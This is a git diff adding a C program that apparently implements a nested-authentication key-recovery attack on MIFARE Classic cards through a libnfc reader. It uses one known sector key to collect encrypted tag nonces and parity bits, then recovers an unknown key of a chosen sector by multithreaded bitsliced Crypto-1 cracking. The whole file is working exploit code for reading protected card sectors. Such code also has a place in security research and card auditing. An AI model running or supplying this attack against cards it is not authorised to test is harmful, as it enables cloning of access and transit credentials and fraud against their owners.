diff --git a/libnfc_crypto1_crack.c b/libnfc_crypto1_crack.c new file mode 100644 index 0000000..84cd6d9 --- /dev/null +++ b/libnfc_crypto1_crack.c @@ -0,0 +1,337 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "crypto1_bs_crack.h" + +extern uint64_t * crypto1_create(uint64_t key); +extern uint32_t crypto1_word(uint64_t *, uint32_t, int); +extern uint8_t crypto1_byte(uint64_t*, uint8_t, int); +extern uint32_t prng_successor(uint32_t x, uint32_t n); +extern void crypto1_destroy(uint64_t*); + +#define MC_AUTH_A 0x60 +#define MC_AUTH_B 0x61 + +nfc_device* pnd; +nfc_target target; +typedef uint8_t byte_t; + +uint8_t oddparity(const uint8_t bt) +{ + // cf http://graphics.stanford.edu/~seander/bithacks.html#ParityParallel + return (0x9669 >> ((bt ^(bt >> 4)) & 0xF)) & 1; +} + + +long long unsigned int bytes_to_num(uint8_t *src, uint32_t len) +{ + uint64_t num = 0; + while (len--) { + num = (num << 8) | (*src); + src++; + } + return num; +} + + +static nfc_context *context; + +#define MAX_FRAME_LEN 264 + +uint64_t *nonces = NULL; +size_t nonces_collected; + +void nested_auth(uint32_t uid, uint64_t known_key, uint8_t for_block, uint8_t target_block, uint8_t target_key, FILE* fp) +{ + uint64_t *pcs; + + // Possible key counter, just continue with a previous "session" + uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce + uint8_t Cmd[4] = { 0x00, 0x00, 0x00, 0x00 }; + + uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + uint8_t ArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + + uint8_t Rx[MAX_FRAME_LEN]; // Tag response + uint8_t RxPar[MAX_FRAME_LEN]; // Tag response + + uint32_t Nt; + + int i; + + // Prepare AUTH command + Cmd[0] = target_key; + Cmd[1] = for_block; + iso14443a_crc_append(Cmd, 2); + + // We need full control over the CRC + if (nfc_device_set_property_bool(pnd, NP_HANDLE_CRC, false) < 0) { + nfc_perror(pnd, "nfc_device_set_property_bool crc"); + exit(EXIT_FAILURE); + } + + // Request plain tag-nonce + // TODO: Set NP_EASY_FRAMING option only once if possible + if (nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, false) < 0) { + nfc_perror(pnd, "nfc_device_set_property_bool framing"); + exit(EXIT_FAILURE); + } + + if (nfc_initiator_transceive_bytes(pnd, Cmd, 4, Rx, sizeof(Rx), 0) < 0) { + fprintf(stdout, "Error while requesting plain tag-nonce\n"); + exit(EXIT_FAILURE); + } + + if (nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, true) < 0) { + nfc_perror(pnd, "nfc_device_set_property_bool"); + exit(EXIT_FAILURE); + } + // print_hex(Rx, 4); + + // Save the tag nonce (Nt) + Nt = bytes_to_num(Rx, 4); + + // Init the cipher with key {0..47} bits + pcs = crypto1_create(known_key); + + // Load (plain) uid^nt into the cipher {48..79} bits + crypto1_word(pcs, bytes_to_num(Rx, 4) ^ uid, 0); + + // Generate (encrypted) nr+parity by loading it into the cipher + for (i = 0; i < 4; i++) { + // Load in, and encrypt the reader nonce (Nr) + ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i]; + ArEncPar[i] = filter(*pcs) ^ oddparity(Nr[i]); + } + + // Skip 32 bits in the pseudo random generator + Nt = prng_successor(Nt, 32); + + // Generate reader-answer from tag-nonce + for (i = 4; i < 8; i++) { + // Get the next random byte + Nt = prng_successor(Nt, 8); + // Encrypt the reader-answer (Nt' = suc2(Nt)) + ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xff); + ArEncPar[i] = filter(*pcs) ^ oddparity(Nt); + } + + // Finally we want to send arbitrary parity bits + if (nfc_device_set_property_bool(pnd, NP_HANDLE_PARITY, false) < 0) { + nfc_perror(pnd, "nfc_device_set_property_bool parity"); + exit(EXIT_FAILURE); + } + + // Transmit reader-answer + int res; + if (((res = nfc_initiator_transceive_bits(pnd, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { + printf("Reader-answer transfer error, exiting.."); + exit(EXIT_FAILURE); + } + + // Decrypt the tag answer and verify that suc3(Nt) is At + Nt = prng_successor(Nt, 32); + + if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) { + printf("[At] is not Suc3(Nt), something is wrong, exiting.."); + exit(EXIT_FAILURE); + } + + Cmd[0] = target_key; + Cmd[1] = target_block; + iso14443a_crc_append(Cmd, 2); + + for (i = 0; i < 4; i++) { + ArEnc[i] = crypto1_byte(pcs, 0, 0) ^ Cmd[i]; + ArEncPar[i] = filter(*pcs) ^ oddparity(Cmd[i]); + } + if (((res = nfc_initiator_transceive_bits(pnd, ArEnc, 32, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { + printf("Reader-answer transfer error, exiting.."); + exit(EXIT_FAILURE); + } + + if(fp){ + for(i = 0; i < 4; i++){ + fprintf(fp,"%02x", Rx[i]); + if(RxPar[i] != oddparity(Rx[i])){ + fprintf(fp,"! "); + } else { + fprintf(fp," "); + } + } + fprintf(fp, "\n"); + } + if(nonces){ + nonces[nonces_collected] = 0; + for(i = 0; i < 4; i++){ + nonces[nonces_collected] |= ((uint64_t) Rx[i]) << (8*i); + bool parity = (RxPar[i] != oddparity(Rx[i])) ^ parity(Rx[i]); + nonces[nonces_collected] |= ((uint64_t) parity) << (32 + (8*i)); + } + nonces_collected++; + } + + crypto1_destroy(pcs); +} + +uint32_t uid; +uint32_t **space; +size_t thread_count; +size_t total_states; +void* crack_states_thread(void* x){ + const size_t thread_id = (size_t)x; + int j; + for(j = thread_id; space[j * 5]; j += thread_count) { + const uint64_t key = crack_states_bitsliced(space + j * 5); + if(key != -1){ + printf("Found key: %012"PRIx64"\n", key); + __sync_fetch_and_add(&keys_found, 1); + break; + } else if(keys_found){ + break; + } else { + printf("Cracking... %6.02f%%\n", (100.0*total_states_tested/(total_states))); + } + } + return NULL; +} + +void have_enough_states(int sig){ + if(nonces && uid){ + space = craptev1_get_space(nonces, 95, uid); + } + if(!space){ + printf("\rCollected %zu nonces... ", nonces_collected); + fflush(stdout); + signal(SIGALRM, have_enough_states); + alarm(1); + } else { + alarm(0); + } +} + +int main (int argc, const char * argv[]) { + nfc_init(&context); + pnd = nfc_open(context, NULL); + + if (pnd == NULL) { + printf("No NFC device connection\n"); + return 1; + } + + nfc_initiator_init(pnd); + + nfc_device_set_property_bool(pnd,NP_ACTIVATE_FIELD,false); + // Let the reader only try once to find a tag + nfc_device_set_property_bool(pnd,NP_INFINITE_SELECT,false); + nfc_device_set_property_bool(pnd,NP_HANDLE_CRC,true); + nfc_device_set_property_bool(pnd,NP_HANDLE_PARITY,true); + + const nfc_modulation nmMifare = { + .nmt = NMT_ISO14443A, + .nbr = NBR_106, + }; + + uid = 0; + + // Enable field so more power consuming cards can power themselves up + nfc_device_set_property_bool(pnd,NP_ACTIVATE_FIELD,true); + if (nfc_initiator_select_passive_target(pnd,nmMifare,NULL,0,&target)) { + uid = bytes_to_num(target.nti.nai.abtUid,target.nti.nai.szUidLen); + } + + thread_count = get_nprocs_conf(); + pthread_t threads[thread_count]; + + if(!uid){ + goto DISCONNECT; + } + + if(argc < 4){ + printf("%s \n", argv[0]); + } + + uint64_t known_key = strtoul(argv[1], 0, 16); + uint8_t target_key = MC_AUTH_A; + if(argv[2][0] == 'b' || argv[2][0] == 'B'){ + target_key = MC_AUTH_B; + } + uint8_t for_block = atoi(argv[3]); + uint8_t target_block = atoi(argv[4]); + + char filename[20]; + sprintf(filename, "0x%04x_%03u.txt", uid, target_block); + /*FILE* fp = fopen(filename, "wb+");*/ + FILE* fp = fopen(filename, "wb"); + + printf("Found tag with uid %04x, collecting nonces for key %s of block %u using known key %012"PRIx64" for block %u\n", uid, target_key == MC_AUTH_A ? "A" : "B", target_block, known_key, for_block); + nonces_collected = 0; + nonces = malloc(sizeof (uint64_t) << 24); + memset(nonces, 0xff, sizeof (uint64_t) << 24); + signal(SIGALRM, have_enough_states); + alarm(1); + + while(true){ + // Configure the CRC and Parity settings + nfc_device_set_property_bool(pnd,NP_HANDLE_CRC,true); + nfc_device_set_property_bool(pnd,NP_HANDLE_PARITY,true); + // Poll for a ISO14443A (MIFARE) tag + if (nfc_initiator_select_passive_target(pnd,nmMifare,NULL,0,&target)) { + nested_auth(bytes_to_num(target.nti.nai.abtUid, 4), known_key, for_block, target_block, target_key, fp); + } else { + printf("Don't move the tag!\n"); + } + if(space){ + break; + } + } + fclose(fp); + total_states = craptev1_sizeof_space(space); + + size_t i; + + printf("initializing BS crypto-1...\n"); + crypto1_bs_init(); + printf("Using %u-bit bitslices\n", MAX_BITSLICES); + + uint8_t rollback_byte = **space; + printf("Bitslicing rollback byte: %02x...\n", rollback_byte); + // convert to 32 bit little-endian + crypto1_bs_bitslice_value32(rev32((rollback_byte)), bitsliced_rollback_byte, 8); + + printf("Bitslicing nonces...\n"); + for(size_t tests = 0; tests < NONCE_TESTS; tests++){ + // pre-xor the uid into the decrypted nonces, and also pre-xor the uid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine + uint32_t test_nonce = uid^rev32(nonces[tests]); + uint32_t test_parity = (nonces[tests]>>32)^rev32(uid); + test_parity = ((parity(test_parity >> 24 & 0xff) & 1) | (parity(test_parity>>16 & 0xff) & 1)<<1 | (parity(test_parity>>8 & 0xff) & 1)<<2 | (parity(test_parity & 0xff) & 1) << 3); + crypto1_bs_bitslice_value32(test_nonce, bitsliced_encrypted_nonces[tests], 32); + // convert to 32 bit little-endian + crypto1_bs_bitslice_value32(~(test_parity)<<24, bitsliced_encrypted_parity_bits[tests], 4); + } + + total_states_tested = 0; + keys_found = 0; + + printf("Starting %zu threads to test %zu states\n", thread_count, total_states); + for(i = 0; i < thread_count; i++){ + pthread_create(&threads[i], NULL, crack_states_thread, (void*) i); + } + for(i = 0; i < thread_count; i++){ + pthread_join(threads[i], 0); + } + printf("Tested %zu states\n", total_states_tested); + + craptev1_destroy_space(space); + +DISCONNECT: + // Disconnect from NFC device + nfc_close(pnd); + return 0; +}